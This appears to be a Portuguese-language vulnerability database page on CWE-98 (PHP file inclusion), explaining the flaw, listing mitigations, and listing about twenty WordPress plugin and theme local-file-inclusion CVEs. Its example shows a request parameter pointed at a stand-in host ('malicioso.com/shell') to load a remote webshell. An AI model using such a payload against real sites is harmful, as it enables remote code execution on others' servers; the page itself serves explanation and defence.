Falhas do tipo CWE-98

1.305 resultados

Inclusão Remota de Arquivo

A aplicação inclui um arquivo fornecido pelo usuário sem validação adequada, permitindo que um atacante carregue e execute código malicioso de um servidor remoto. O erro ocorre quando a entrada do usuário é passada diretamente a funções como `include()`, `require()` ou equivalentes, sem sanitização ou whitelist.

Exemplo

Uma página PHP que faz `include($_GET['page'] . '.php')` permite que um atacante acesse `?page=http://malicioso.com/shell`, carregando e executando um webshell hospedado externamente no contexto da aplicação alvo.

Como mitigar

Valide e restrinja o parâmetro a uma lista branca de arquivos permitidos; nunca permita URLs remotas em includes; use funções seguras como `basename()` para remover paths, e desabilite `allow_url_include` no PHP. Idealmente, evite lógica dinâmica de includes — use routing/controllers explícitos.

CVE-2026-54845HIGHWordPress MDTF plugin <= 1.3.8 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-66653HIGHWordPress Barista theme <= 2.5.1 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-39558HIGHWordPress Malmö theme <= 2.2 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-66450HIGHWordPress Geo Mashup plugin <= 1.13.18 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-39582HIGHWordPress Hitek theme < 1.8.3 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-34894HIGHWordPress Integrio Core plugin < 1.2.8 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-66657HIGHWordPress Biagiotti Core plugin <= 2.1.1 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-34893HIGHWordPress Thegov Core plugin < 2.0.23 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-27412HIGHWordPress Pearl - Corporate Business theme <= 3.4.10 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-39568HIGHWordPress Mr. SEO theme <= 2.0 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-28152HIGHWordPress Tonda Core plugin < 2.6 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-34895HIGHWordPress Softlab Core plugin < 1.2.11 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-66670HIGHWordPress Måne theme <= 1.7 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-28570HIGHWordPress Vavo Core plugin <= 2.3.0 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-73400HIGHWordPress Restaurant Menu by MotoPress plugin <= 2.4.11 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-28151HIGHWordPress Tonda theme < 2.6 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-28150HIGHWordPress Golo Framework plugin < 1.7.5 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-66656HIGHWordPress Foton Core plugin <= 1.1.1 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2026-40731HIGHWordPress ChapterOne theme <= 1.7 - Local File Inclusion vulnerabilityEPSS 0.5%CVE-2025-15637HIGHWordPress Shuffle theme <= 1.8 - Local File Inclusion vulnerabilityEPSS 0.5%